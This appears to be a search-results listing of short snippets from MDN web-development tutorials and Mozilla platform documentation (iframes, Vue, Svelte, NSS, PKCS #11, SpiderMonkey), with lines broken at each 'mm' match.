...And 4 more matches
From object to iframe — other embedding technologies - Learn web development
tent, such as <canvas>, <video>, etc.) this provides a way to embed an entire web document inside another one, as if it were an <img> or other such element, and is used regularly today. with the history lesson out of the way, let's move on and see how to use some of these. active learning: classic embedding uses in this article we are going to jump straight into an active learning section, to i
mmediately give you a real idea of just what embedding technologies are useful for. the online world is very familiar with youtube, but many people don't know about some of the sharing facilities it has available. let's look at how youtube allows us to embed a video in any page we like using an <iframe>. first, go to youtube and find a video you like. below the video, you'll find a share button ...
... } updatecode(); }; iframes in detail so, that was easy and fun, right? <iframe> elements are designed to allow you to embed other web documents into the current document. this is great for incorporating third-party content into your website that you might not have direct control over and don't want to have to implement your own version of — such as video from online video providers, co
mmenting systems like disqus, maps from online map providers, advertising banners, etc. the live editable examples you've been using through this course are implemented using <iframe>s. there are some serious security concerns to consider with <iframe>s, as we'll discuss below, but this doesn't mean that you shouldn't use them in your websites — it just requires some knowledge and careful thinkin...
...example includes the basic essentials needed to use an <iframe>: allowfullscreen if set, the <iframe> is able to be placed in fullscreen mode using the full screen api (somewhat beyond scope for this article.) frameborder if set to 1, this tells the browser to draw a border between this frame and other frames, which is the default behaviour. 0 removes the border. using this isn't really reco
mmended any more, as the same effect can be better achieved using border: none; in your css. src this attribute, as with <video>/<img>, contains a path pointing to the url of the document to be embedded. width and height these attributes specify the width and height you want the iframe to be. fallback content in the same way as other similar elements like <video>, you can include fallback cont...
...And 4 more matches
HTML table advanced features and accessibility - Learn web development
prerequisites: the basics of html (see introduction to html). objective: to learn about more advanced html table features, and the accessibility of tables. ...
...hing to get a quick idea of whether the table is useful to them as they scan the page, but particularly for blind users. rather than have a screenreader read out the contents of many cells just to find out what the table is about, he or she can rely on a caption and then decide whether or not to read the table in greater detail. a caption is placed directly beneath the <table> tag. ...
...ave a screenreader read out the contents of many cells just to find out what the table is about, he or she can rely on a caption and then decide whether or not to read the table in greater detail. a caption is placed directly beneath the <table> tag. note: the su
mmary attribute can also be used on the <table> element to provide a description — this is also read out by screenreaders. we'd reco
mmend using the <caption> element instead, however, as su
mmary is deprecated by the html5 spec, and can't be read by sighted users (it doesn't appear on the page.) active learning: adding a caption let's try this out, revisiting an example we first met in the previous article. open up your language teacher's school timetable from the end of html table basics, or make a local copy of our timeta...
...And 4 more matches
Functions — reusable blocks of code - Learn web development
in this article we'll explore fundamental concepts behind functions such as basic syntax, how to invoke and define them, scope, and parameters. ...
...ll find functions everywhere. in fact, we've been using functions all the way through the course so far; we've just not been talking about them very much. now is the time, however, for us to start talking about functions explicitly, and really exploring their syntax. pretty much anytime you make use of a javascript structure that features a pair of parentheses — () — and you're not using a co
mmon built-in language structure like a for loop, while or do...while loop, or if...else statement, you are making use of a function. built-in browser functions we've made use of functions built in to the browser a lot in this course. every time we manipulated a text string, for example: let mytext = 'i am a string'; let newstring = mytext.replace('string', 'sausage'); console.log(newstring); // ...
... javascript. bear in mind that some built-in browser functions are not part of the core javascript language — some are defined as part of browser apis, which build on top of the default language to provide even more functionality (refer to this early section of our course for more descriptions). we'll look at using browser apis in more detail in a later module. functions versus methods progra
mmers call functions that are part of objects methods. you don't need to learn about the inner workings of structured javascript objects yet — you can wait until our later module that will teach you all about the inner workings of objects, and how to create your own. for now, we just wanted to clear up any possible confusion of method versus function — you are likely to meet both terms as you lo...
...And 4 more matches
Drawing graphics - Learn web development
this article provides an introduction to canvas, and further resources to allow you to learn more. prerequisites: javascript basics (see first steps, building blocks, javascript objects), the basics of client-side apis objective: to learn the basics of drawing on <canvas> elements using javascript. ...
...ground-image, and svg. this however was still not enough. while you could use css and javascript to animate (and otherwise manipulate) svg vector images — as they are represented by markup — there was still no way to do the same for bitmap images, and the tools available were rather limited. the web still had no way to effectively create animations, games, 3d scenes, and other requirements co
mmonly handled by lower level languages such as c++ or java. the situation started to improve when browsers began to support the <canvas> element and associated canvas api — apple invented it in around 2004, and other browsers followed by implementing it in the years that followed. as you'll see below, canvas provides many useful tools for creating 2d animations, games, data visualizations, and o...
...a path. basically, this involves writing code to specify exactly what path the pen should move along on your canvas to trace the shape you want to draw. canvas includes functions for drawing straight lines, circles, bézier curves, and more. let's start the section off by making a fresh copy of our canvas template (1_canvas_template.html), in which to draw the new example. we'll be using some co
mmon methods and properties across all of the below sections: beginpath() — start drawing a path at the point where the pen currently is on the canvas. on a new canvas, the pen starts out at (0, 0). moveto() — move the pen to a different point on the canvas, without recording or tracing the line; the pen simply "jumps" to the new position. fill() — draw a filled shape by filling in the pa...
...And 4 more matches
Client-side web APIs - Learn web development
looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. ...
... looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. ...
...s module, you should have worked your way through the previous javascript modules in the series (first steps, building blocks, and javascript objects). those modules typically involve simple api usage, as it is often difficult to write client-side javascript examples without them. for this tutorial, we will assume that you are knowledgable about the core javascript language, and we will explore co
mmon web apis in a bit more detail. basic knowledge of html and css would also be useful. note: if you are working on a device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch. guides introduction to web apis first up, we'll start by looking at apis from a high level — what are they...
...And 4 more matches
Storing the information you need — Variables - Learn web development
owing would work: var myname = 'chris'; var myname = 'bob'; but the following would throw an error on the second line: let myname = 'chris'; let myname = 'bob'; you'd have to do this instead: let myname = 'chris'; myname = 'bob'; again, this is a sensible language decision. there is no reason to redeclare variables — it just makes things more confusing. for these reasons and more, we reco
mmend that you use let as much as possible in your code, rather than var. there is no reason to use var, unless you need to support old versions of internet explorer with your code (it doesn't support let until version 11; the modern windows edge browser supports let just fine). updating a variable once a variable has been initialized with a value, you can change (or update) that value by simply g...
...int: you also need to avoid using javascript reserved words as your variable names — by this, we mean the words that make up the actual syntax of javascript! so, you can't use words like var, function, let, and for as variable names. browsers recognize them as different code items, and so you'll get errors. note: you can find a fairly complete list of reserved keywords to avoid at lexical gra
mmar — keywords. good name examples: age myage init initialcolor finaloutputvalue audio1 audio2 bad name examples: 1 a _12 myage myage var document skjfndskjfnbdskjfb thisisareallylongstupidvariablenameman try creating a few more variables now, with the above guidance in mind. variable types there are a few different types of data we can store in variables. in this section we'll describe t...
...e these in brief, then in future articles, you'll learn about them in more detail. so far we've looked at the first two, but there are others. numbers you can store numbers in variables, either whole numbers like 30 (also called integers) or decimal numbers like 2.456 (also called floats or floating point numbers). you don't need to declare variable types in javascript, unlike some other progra
mming languages. when you give a variable a number value, you don't include quotes: let myage = 17; strings strings are pieces of text. when you give a variable a string value, you need to wrap it in single or double quote marks; otherwise, javascript tries to interpret it as another variable name. let dolphingoodbye = 'so long and thanks for all the fish'; booleans booleans are true/false val...
...And 4 more matches
Working with JSON - Learn web development
you'll come across it quite often, so in this article we give you all you need to work with json using javascript, including parsing json so you can access data within it, and creating json. ...
...on to objects). objective: to understand how to work with data stored in json, and create your own json objects. no, really, what is json? json is a text-based data format following javascript object syntax, which was popularized by douglas crockford. even though it closely resembles javascript object literal syntax, it can be used independently from javascript, and many progra
mming environments feature the ability to read (parse) and generate json. json exists as a string — useful when you want to transmit data across a network. it needs to be converted to a native javascript object when you want to access the data. this is not a big issue — javascript provides a global json object that has methods available for converting between the two. note: converting a stri...
...for example: superheroes.home...
...And 4 more matches
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
er functionality in our app. here we'll get the todo counter to update to show the correct number of todos still to complete, and correctly apply styling to completed todos (i.e. where the checkbox has been checked). we'll also wire up our "clear completed" button. along the way, we'll learn about using conditional rendering in our templates. prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line. a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. objective: to continue our learning about components classes, start looking at conditional rendering,...
... connecting the behavior in the footer to get the footer working, we need to implement the following thre areas of functionality: a pending todo counter. filters for all, active, and completed todos. a button to clear the completed todos. because we need access to our service from the footer component, we need to generate a class for the footer. ...
...leted todos. a button to clear the completed todos. because we need access to our service from the footer component, we need to generate a class for the footer. ...
...And 4 more matches
Working with Svelte stores - Learn web development
nced techniques for dealing with reactivity, working with dom nodes, and exposing component functionality. in this article we will show another way to handle state management in svelte — stores. stores are global global data repositories that hold values. components can subscribe to stores and receive notifications when their values change. prerequisites: at minimum, it is reco
mmended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/co
mmand line. you'll need a terminal with node + npm installed to compile and build your app. objective: learn how to use svelte stores using stores we will create an alert component that shows notifications on screen, which can receive messages from any com...
...te-tutorial/06-stores or directly download the folder's content: npx degit opensas/mdn-svelte-tutorial/06-stores remember to run npm install && npm run dev to start your app in development mode. repl to code along with us using the repl, start at https://svelte.dev/repl/d1fa84a5a4494366b179c87395940039?version=3.23.2 dealing with our app state we have already seen how our components can co
mmunicate with each other using props, two-way data binding, and events. in all these cases we were dealing with co
mmunication between parent and child components. but not all application state belongs inside your application's component hierarchy. for example, information about the logged in user, or whether the dark theme is selected or not. sometimes, your app state will need to be accessed by ...
...t component is working fine, but it's not very friendly to assistive technologies. the problem is elements that are dynamically added and removed from the page. while visually evident to users who can see the page, they may not be so obvious to users of assistive technologies, like screen readers. to handle those situations, we can take advantage of aria live regions, which provide a way to progra
mmatically expose dynamic content changes so that they can be detected and announced by assistive technologies. we can declare a region that contains dynamic content that should be announced by assistive technologies with the aria-live property followed by the politeness setting, which is used to set the priority with which screen readers should handle updates to that regions. the possible settings...
...And 4 more matches
Getting started with Vue - Learn web development
his article we'll look at a little bit of vue background, learn how to install it and create a new project, study the high-level structure of the whole project and an individual component, see how to run the project locally, and get it prepared to start building our example. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line. vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to setup a local...
...ibrary like jquery to vue. with this method, you can use a lot of the core features of vue, such as the attributes, custom components, and data-management. development script (unoptimized, but includes console warnings. great for development <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script> production script (optimized version, minimal console warnings. it is reco
mmended that you specify a version number when including vue on your site so that any framework updates do not break your live site without you knowing.) <script src="/static/external/29/29296ccacaa9ed35ed168fc51e36f54fd6f8db9c7786bbf38cc59a27229ba5c2.svg"></script> however, this approach has some limitations. to build more complex apps, you’ll want to use the vue npm package. this will let...
...use advanced features of vue and take advantage of bundlers like webpack. to make building apps with vue easier, there is a cli to streamline the development process. to use the npm package & the cli you will need: node.js 8.11+ installed. npm or yarn. note: if you don't have the above installed, find out more about installing npm and node.js here. to install the cli, run the following co
mmand in your terminal: npm install --global @vue/cli or if you'd prefer to use yarn: yarn global add @vue/cli once installed, to initialize a new project you can then open a terminal in the directory you want to create the project in, and run vue create <project-name>. the cli will then give you a list of project configurations you can use. there are a few preset ones, and you can make your own...
...And 4 more matches
Focus management with Vue refs - Learn web development
app's keyboard accessibility. we'll look at using vue refs to handle this — an advanced feature that allows you to have direct access to the underlying dom nodes below the virtual dom, or direct access from one component to the internal dom structure of a child component. prerequisites: familiarity with the core html, css, and javascript languages, knowledge of the terminal/co
mmand line. vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure. for installation, and to use some of the more advanced features of vue (like single file components or render functions), you'll need a terminal with node + npm installed. objective: to learn how to ...
...ection of the component featuring the "edit" button. this means there's no element to bind the ref to, so it becomes undefined. you might now be thinking "hey, don’t we set isediting=false before we try to access the ref, so therefore shouldn't the v-if now be displaying the button?” this is where the virtual dom comes into play. because vue is trying to optimize and batch changes, it won't i
mmediately update the dom when we set isediting to false. so when we call focusonedit(), the "edit" button has not been rendered yet. instead, we need to wait until after vue undergoes the next dom update cycle. to do that, vue components have a special method called $nexttick(). this method accepts a callback function, which then executes after the dom updates. since the focusoneditbutton() metho...
...onent has been removed from the dom activated() — only used in components wrapped in a special keep-alive tag. runs after the component is activated. deactivated() — only used in components wrapped in a special keep-alive tag. runs after the component is deactivated. note: the vue docs provide a nice diagram for visualizing when these hooks happen. this article from the digital ocean co
mmunity blog dives into the lifecycle methods more deeply. now that we’ve gone over the lifecycle methods, let's use one to trigger focus when our todoitemeditform component is mounted. in todoitemeditform.vue, attach ref="labelinput" to the <input> element, like so: <input :id="id" ref="labelinput" type="text" autocomplete="off" v-model.lazy.trim="newname" /> next, add a mounted() property j...
...And 4 more matches
Accessibility Features in Firefox
fox works with popular screen readers, with the best support currently coming from gw micro's window-eyes 5.5. we are optimistic that jaws support will catch up this year. in recent articles from both afb's access world and nfb's voice of the nation's blind, reviewers found no significant roadblocks in moving to firefox from internet explorer for screen reader users. in fact, the same keyboard co
mmands are still available, so users can become comfortable and productive right away. screen magnifier users can also benefit from firefox's powerful features today, as caret and focus tracking are fully enabled. mozilla corporation is currently reaching out to work with ai squared, the makers of zoomtext, in order to enable complete support of advanced zoomtext features such as the doc reader and...
...keyboard navigation within the entire windows os much simpler. both history and bookmarks can be searched with a "quick search" field that quickly narrows the list down via a substring search. bookmarks can have a keyword assigned to them which can be typed into the address bar to bring up the bookmark. a "smart keywords" feature enhances this even further by allowing custom searches from the co
mmand line such as "word punditry" to look up the word "punditry" in an online dictionary. these smart keywords can be setup via the context menu for the search field on the desired website. integrated web search via ctrl+k is much faster to use than first going to the search tool's web site. custom searches can be added to this quick search bar and the user can switch between them by choosing from...
... take control of a web page's style, user scripts let you easily control any aspect of a web page's design or interaction. we expect enterprising script writers will eventually fix annoying accessibility issues in popular web pages, and (hopefully) share their tricks with everyone! fire vox extension by charles l. ...
...And 4 more matches
Chrome registration
lbars, menu bars, progress bars, and window title bars are all examples of elements that are typically part of the chrome. mozilla locates and reads the root chrome.manifest file for extensions and themes. note: with gecko 1.9.2 and older, mozilla reads chrome/*.manifest files from applications. starting with gecko 2.0, the root chrome.manifest is the only manifest used; you can add manifest co
mmands to that file to load secondary manifests. chrome providers a supplier of chrome for a given window type (e.g., for the browser window) is called a chrome provider. the providers work together to supply a complete set of chrome for a particular window, from the images on the toolbar buttons to the files that describe the text, content, and appearance of the window itself. there are three b...
...fox 2, thunderbird 2, and seamonkey 1.1 will not find the chrome when packagename is mixed case. if the above example had a packagename of camelcasepackage, you would get an error message similar to "no chrome registered for chrome://camelcasepackage/path/to/files". firefox 3, thunderbird 3, and seamonkey 2 support mixed case. bug resolved in mozilla 1.9; see bug 132183. manifest instructions co
mments # this line is a co
mment - you can put here whatever you want a line is a co
mment if it begins with the character '#'. any following character in the same line is ignored. manifest manifest subdirectory/foo.manifest [flags] this will load a secondary manifest file. this can be useful for separating component and chrome registration instructions, or separate platform-specific registra...
... if applicable). the classid {0000...} must match the classid implemented by the component. to generate a unique classid, use a uuid generator program or site. contract contract @foobar/mycontract;1 {00000000-0000-0000-0000-000000000000} [flags] maps a contract id (a readable string) to the classid for a specific implementation. typically a contract id will be paired with a component entry i
mmediately preceding. category category category entry-name value [flags] registers an entry in the category manager. the specific format and meaning of category entries depend on the category. content a content package is registered with the line: content packagename uri/to/files/ [flags] this will register a location to use when resolving the uri chrome://packagename/content/.... the ur...
...And 4 more matches
Cross Process Object Wrappers
ssing cpows into non-addon code. in multiprocess firefox, chrome code runs in a different process from web content. so chrome code can't directly interact with web content: instead, it must factor out the code that interacts with web content into separate scripts that are called frame scripts. chrome code can load frame scripts into the content process using the message manager, and can then co
mmunicate with them using a message-passing api. to learn more about this, see the documentation on using the message manager. chrome to content messaging must be asynchronous. this is because the chrome process runs the firefox ui, so if it were blocked by the content process, then a slow content process could cause firefox to become unresponsive to users. converting synchronous code to be asyn...
... addeventlistener("click", function (event) { sendasyncmessage("my-e10s-extension-message", {}, { clicked : event.target }); }, false); in the chrome script, the dom node is now accessible through a cross process object wrapper, as a property of the objects property of the message. ...
...nt or browser.contentdocument), it is given back a cpow that wraps the content object. this means that examples like this will actually work, even in multiprocess firefox: gbrowser.selectedbrowser.contentdocument.body.innerhtml = "replaced by chrome code"; it's still important to keep in mind, though, that this is access through a cpow and not direct access to content. bidirectional cpows a co
mmon pattern is for chrome code to access content objects and add event listeners to them. to deal with this, cpows are bidirectional. this means that if content passes a cpow to the chrome process, the chrome process can synchronously pass objects (such as event listener functions) into functions defined in the cpow. this means you can write code like this: // frame script /* on mouseover, send ...
...And 4 more matches
Limitations of chrome scripts
// null gbrowser.selectedbrowser.docshell; // null with the shim the shim will give you a cpow for the content object in these situations. in some situations, the content process may not be initialized when an add-on asks for access to its content. in this case, the shim will return a javascript object that looks somewhat like a window or a document for about:blank. ...
...see the article on using the message manager. limitations of cpows cross process object wrappers (cpows) are a migration aid giving chrome code synchronous access to content objects. however, there are various limitations on the kinds of things you can do with a cpow. ...
...ent to the chrome process. there is a shim that will forward these two topics to the chrome process, sending cpows as the asubject argument. http requests you can't observe http requests in the content process. if you do, you'll get an error. if you do so in the chrome process, it will mostly work. the subject for the observer notification will be an nsihttpchannel as you would expect. ...
...And 4 more matches
Embedding the editor
webbrowser, but instead having an editable document. the composer chrome (toolbars etc) may be implemented by the embedder using native widgets, or using some amount of xul. that chrome needs to be configurable - dockable floating toolbars, toolbar shared between composer widgets, or 1 per widget. this type of embedding requires that the composer code is agnostic to where its ui is coming from; co
mmunication between the core editor and the ui needs to go through one or more interfaces that insulate the editor from its host application. (the current nseditorshell makes assumptions about the hosting xul document, which need to be broken.) composer embedded in a web page (<htmlarea>) ie 5 supports the <htmlarea> element; if mozilla is to support something similar, editor needs to be embeddable ...
...urrently, composer does not deal gracefully with such documents. one editor per window limitation the current composer window xul/c++ architecture has grown up with the assumption that there can be just one <editor> tag per window. at window construction time, we get the editorshell from the <editor> element, and put that into window.editorshell. thence, lots of javascript in editor.js, composerco
mmands.js and the various dialog js files assume that they can get at the one true editor via window.editorshell. this assumption was short-sighted, and must be fixed. editor assumes xul document structure there is c++ and js code in the editor that assumes that the editor is living in a xul document, and that there are xul document nodes out there whose attributes can be tweaked to change the state...
...ment structure there is c++ and js code in the editor that assumes that the editor is living in a xul document, and that there are xul document nodes out there whose attributes can be tweaked to change the state of the ui (e.g. the inline style buttons). this needs to be changed to allow embedders to provide their own, possibly native ui. editor needs to call through one or more interfaces when co
mmunicating with the ui. embedding objectives editor requires design changes such that the embedding applications above can be fulfilled, and these changes will need to address the current problems. briefly, the embedding objectives are: <editor> should get you a working editor in a xul application should be able to have multiple <editor>s per xul window should be able to embed an editable co...
...And 4 more matches
Introduction to Layout in Mozilla
may not be directly manipulated detailed walk-through setting up content model construction frame construction style resolution reflow painting setting up assume basic knowledge of embedding ...
...s child reflow state (available w, h); places child frame (x, y); invokes child’s reflow method child frame computes desired (w, h), returns via reflow metrics parent frame sizes child frame and view based on child’s metrics n.b. ...
...ent frame sizes child frame and view based on child’s metrics n.b. ...
...And 4 more matches
PromiseWorker.jsm
javascript files imported into the worker scope and main thread scope which allows posting to the worker and receiving in the form of a promise. like chromeworker objects, promiseworker is mostly used for js-ctypes but it is not limited to that. there is no xpcom access, similar to chromeworker. this answers the question "when should i use a promiseworker?", and the answer is, whenever you would normally use a chromeworker, but want postmessage to return promises. the promiseworker object is used to deliver all of the os.file functionality to the main thread. here is the test case from firefox codebase: mozilla dxr :: test_promise.js. ...
...bject is used to deliver all of the os.file functionality to the main thread. here is the test case from firefox codebase: mozilla dxr :: test_promise.js. promiseworker module consists of two javascript files, promiseworker.jsm and promiseworker.js. promiseworker.jsm path: resource://gre/modules/promiseworker.jsm a javascript code module used by the main thread to create a worker thread and co
mmunicate with it. promiseworker.jsm provides basepromiseworker. promiseworker.js path: resource://gre/modules/workers/promiseworker.js a javascript file used by the worker thread, which is created by promiseworker.jsm in main thread, to co
mmunicate with the main thread. promiseworker.js provides abstractworker. here's the simplified diagram of how promiseworker works (svg version of the promise...
...e to know which object should be transferred. for example: myworker.post('func', [foo(), bar(), baz()]) foo now has the power to determine if the argument should be transferred by returning a meta instance. so it can transfer an object without modifying the caller. here is a simple demo showing how to transfer the second argument to a worker: github:: promiseworker transfer data line 23. ...
...And 4 more matches
Sqlite.jsm
t on top of task.jsm that allows transactions to be written as procedural javascript functions (as opposed to a series of callback driven operations). if the function throws, the transaction is automatically rolled back. this makes code easy to write and read. javascript-y api. sqlite.jsm feels like a pure javascript module. the complexities of xpcom are mostly hidden from view. javascript progra
mmers should feel right at home using sqlite.jsm. note: the sqlite.jsm javascript code module can only be used from chrome -- that is, from within the application itself or an add-on. before you can use this module, you need to import it into your scope: components.utils.import("resource://gre/modules/sqlite.jsm") obtaining a connection sqlite.jsm exports the sqlite symbol. this symbol is an o...
...in before), the old statement object is reused. this saves time associated with parsing the sql statement and creating a new statement object. the downside is the cached statement object lingers in the opened connection, taking up memory. when a statement is executed via execute(), the underlying statement object is thrown away as soon as the statement finishes execution. executecached() is reco
mmended for statements that will be executed many times. execute() is reco
mmended for statements that will be executed seldomly or once. please note that callers don't need to prepare statements manually before execution. just call executecached() and the statement will be prepared for you automatically. parameters can be bound to the statement by defining the params argument. this argument can be...
...n onrow is not defined, the full results of the operation are buffered before the caller is notified of statement completion. for insert, update, and delete statements, this is not relevant. however, it can have drastic implications for select statements. if your select statement could return lots of data, this buffering of returned rows could result in excessive memory usage. therefore, it's reco
mmended to use onrow with select statements. along with a result row, onrow is passed a cancel function as its second argument. consumers of this api can call the cancel function should they want to i
mmediately abort the execution of the statement. when cancelled, subsequent rows will not be processed and no more onrow invocations will be made. if an exception is thrown by the onrow handler,...
...And 4 more matches
Activity Monitor, Battery Status Menu and top
overview is worth reading at this point if you haven't already. it may make parts of this document easier to understand. activity monitor this is a built-in os x tool that shows real-time process measurements. it is well-known and its "energy impact" measure is likely to be consulted by users to compare the power consumption of different programs. (apple support documentation specifically reco
mmends it for troubleshooting battery life problems.) unfortunately "energy impact" is not a good measure for either users or software developers and it should be avoided. activity monitor can still be useful, however. power-related measurements activity monitor has several tabs. they can all be customized to show any of the available measurements (by right-clicking on the column strip) but only t...
...gation indicates that on mac os 10.10 and 10.11 it is computed with a formula that is machine model-specific, and includes the following factors: cpu usage, wakeup frequency, quality of service class usage, and disk, gpu, and network activity. the weightings of each factor can be found in one of the the files in /usr/share/pmenergy/mac-<id>.plist, where <id> can be determined with the following co
mmand. ioreg -l | grep board-id in contrast, on mac os 10.9 it is computed via a simpler machine model-independent formula that only factors in cpu usage and wakeup frequency. in both cases "energy impact" often correlates poorly with actual power consumption and should be avoided in favour of direct measurements that have clear physical meanings. what does "average energy impact" measure? when...
...s again being used to determine which applications are "using significant energy". testing shows that once an energy-intensive application is started it takes less than a minute for it to show up in the battery status menu. and once the application stops using high amounts of energy it takes a few minutes to disappear. the exception is when the application is closed, in which case it disappears i
mmediately. and it appears that a program with an “energy impact” of roughly 20 or more will eventually show up as significant, and programs that have much higher “energy impact” values tend to show up more quickly. all of these battery status menu observations are difficult to make reliably and so should be treated with caution. it is clear, however, that the window used by the battery sta...
...And 4 more matches
Leak-hunting strategies and tips
this document is old and some of the information is out-of-date. use with caution. strategy for finding leaks when trying to make a particular testcase not leak, i reco
mmend focusing first on the largest object graphs (since these entrain many smaller objects), then on smaller reference-counted object graphs, and then on any remaining individual objects or small object graphs that don't entrain other objects. because (1) large graphs of leaked objects tend to include some objects pointed to by global variables that confuse gc-based leak detectors, which can make leaks look smaller (as in bug 99180) or hide them completely and (2) large graphs of leaked objects tend to hide smaller ones, it's much better to go after the large graphs of leaks first. a good general pattern for fin...
...edium-size object graphs bloatview, refcount tracing and balancing objects that implement nsisupports or use moz_count_{ctor,dtor} all tier 1 platforms debug build (or build opt with --enable-logrefcnt) leaksoup (part of tracemalloc) all objects? (or allocations?) all tier 1 platforms build with --enable-trace-malloc leak tools for simple objects and su
mmary statistics tracemalloc all allocations all tier 1 platforms build with --enable-trace-malloc valgrind all allocations mac, linux build with --enable-valgrind and some other options lsan all allocations mac, linux any build apple tools ? mac any build leak tools for debugging memory growth that is cleaned up on sh...
...if you can avoid creating cycles in the first place, please do, since it's often hard to be sure to break the cycle in every last case. sometimes these cycles extend through js obje...
...And 4 more matches
Patches and pushes
for ...
...obtain its uri id and add to the xml file within the image tag. in list.txt, add the search plugin's xml filename (without extensions) on a new line and save. note that if your team selects a local version of an already default plugin (e.g., wikipedia), the xml filename should include the locale code (e.g., wikipedia-es). create a patch of the searchplugins directory by entering the following co
mmand in your co
mmand-line tool, where mypatch.diff is where you give your patch a name: $ hg add mozilla/browser/searchplugins/ $ hg diff mozilla/browser/searchplugins/ > mypatch.diff attach your patch file to the bug by clicking the "add an attachment" link. once attached and labeled as a patch, open the attachment details. in the attachment details, select the ? from the dropdown menu next t...
...ins/ $ hg diff mozilla/browser/searchplugins/ > mypatch.diff attach your patch file to the bug by clicking the "add an attachment" link. once attached and labeled as a patch, open the attachment details. in the attachment details, select the ? from the dropdown menu next to the review flag. this will display a text box to assign the review to someone. enter :flod as the requestee. ...
...And 4 more matches
NSS FAQ
open-source nss project, see nss project page. what can i do with nss? is nss appropriate for my application? if you want add support for ssl, s/mime, or other internet security standards to your application, you can use network security services (nss) to do so. because nss provides complete support for all versions of ssl and tls, it is particularly well-suited for applications that need to co
mmunicate with the many clients and servers that already support the ssl protocol. the pkcs #11 interface included in nss means that your application can use hardware accelerators on the server and smart cards for two-factor authentication. how does nss compare to openssl? openssl is an open source project that implements server-side ssl, tls, and a general-purpose cryptography library. it does...
...n of the ssl protocol. it contains bugs that were never fixed, doesn't support tls or or the new 56-bit export cipher suites, and does not contain the fix to the bleichenbacher attack on pkcs#1. netscape no longer maintains sslref or makes it available. it was built as an example of an ssl implementation, not for creating production applications. ...
...other contributors are in the process of certifying additional platforms. the nss 3.1 api requires c or c++ development environments. ...
...And 4 more matches
NSS 3.16.2 release notes
macros in sslerr.h ssl_error_next_protocol_no_callback - an ssl error code that means the next protcol negotiation extension was enabled, but the callback was cleared prior to being needed. ssl_error_next_protocol_no_protocol - an ssl error code that means the server supports no protocols that the client advertises in the alpn extension. ...
....h ssl_error_next_protocol_no_callback - an ssl error code that means the next protcol negotiation extension was enabled, but the callback was cleared prior to being needed. ssl_error_next_protocol_no_protocol - an ssl error code that means the server supports no protocols that the client advertises in the alpn extension. ...
...ed. ssl_error_next_protocol_no_protocol - an ssl error code that means the server supports no protocols that the client advertises in the alpn extension. notable changes in nss 3.16.2 the btoa co
mmand has a new co
mmand-line option -w suffix, which causes the output to be wrapped in begin/end lines with the given suffix. use "c" as a shorthand for the suffix certificate. the certutil co
mmands supports additionals types of subject alt name extensions: --extsan type:name[,type:name]... ...
...And 4 more matches
PKCS11 FAQ
sing token certificates in place. which function does nss use to get login state information? nss calls c_getsessioninfo to get the login/logout state. nss never attempts to cache this information, because login state can change instantly without nss knowing about it (for example, when the user removes the card). you must update all sessions correctly when the state changes. not doing so is a co
mmon source of problems. i have noticed that nss sometimes use a session handle value of 0. is this an invalid session handle? a session handle of 0 is indeed invalid. in the past, nss uses the invalid session handle to mark problems with acquiring or using a session. there have been cases where nss would then use this handle to try to do some operation. pkcs #11 modules should fail with ckr_inval...
...shing, aes, des, rc4, rc2, and so on).other pkcs #11 modules can supply implementations of these functions, and nss uses those versions under certain conditions. however, these are not the services nss calls to get to other pkcs #11 modules, which show up separately under cryptographic modules. our plugin provides several slots with different capabilities. for example, one does all the hashing/sy
mmetric operations, while another does only asy
mmetric rsa operations. can this kind of division lead to problems? the only issue is dealing with keys. for example, if the rsa slot unwraps a key, nss needs to move that key to a slot that can do the sy
mmetric operations. nss itself uses two tokens internally--one that provides generic cryptographic services without authentication, and one that provi...
... and possible. when operating in fips mode, moving keys is significantly harder. in this case nss uses a single token to handle both key and cert storage and crypto operations. in general, you not should use different slots unless you have a good reason. much of nss's token selection is based on where the key involved is currently stored. if the token that has your private keys doesn't also do sy
mmetric operations, for example, it's likely that the internal token will end up doing the sy
mmetric operations. is the pkcs #11 module supplied with nss accessible through a shared library? yes, the token is call softokn3 (softokn3.dll on windows, libsoftokn3.so on most unix platforms). the nss softokn3 is not a complete pkcs #11 module, it was implemented only to support nss, though other produc...
...And 4 more matches
Getting SpiderMonkey source code
you can get the spidermonkey source code in gzipped form or directly from the mercurial repository. downloading gzipped spidermonkey source code you can download gzipped spidermonkey source code from the following urls: http://ftp.mozilla.org/pub/spidermonkey/releases/ http://ftp.mozilla.org/pub/spidermonkey/prereleases/ here is a co
mmand-line example of downloading and unzipping spidermonkey source code version 59.0: mkdir mozilla cd mozilla wget http://ftp.mozilla.org/pub/spidermonkey/prereleases/59/pre1/mozjs-59.0a1.0.tar.bz2 tar xvf mozjs-59.0a1.0.tar.bz2 these co
mmands should work on most platforms including windows, as long as on windows you are using the mozillabuild bash shell. getting the latest spidermonkey source code from mercurial the mercurial repository at https://hg.
...it also changes to the spidermonkey directory (js/src). ...
....org/index.cgi/mozilla-central/file/tip. this fetches a snapshot of the current mozilla tree. if you have problems with the instructions above, you can read the full details of using mercurial to get mozilla code here. that page also contains links to several bundles, which can be useful if you have a poor network connection. getting the latest spidermonkey source code from git the following co
mmand line downloads the entire mozilla repository, including the full change history and a lot of gecko and firefox source code that isn't part of spidermonkey. it also changes to the spidermonkey directory (js/src). git clone https://github.com/mozilla/gecko-dev.git cd gecko-dev/js/src if you want a faster (about 5 times as of january 2015) download, try doing a shallow clone (no version contro...
...And 4 more matches
64-bit Compatibility
argsize_f - floating point value argsize_i - 32-bit integer argsize_q - 64-bit integer argsize_p - 32-bit integer on 32-bit platforms, 64-bit integer on 64-bit platforms. remember to use argsize_p where appropriate - on pointers or natively sized integers (including jsvals). similarly, when adding types to jsbuiltins.h, remember to use _js_ptr for pointer-width values. lir safety it is not i
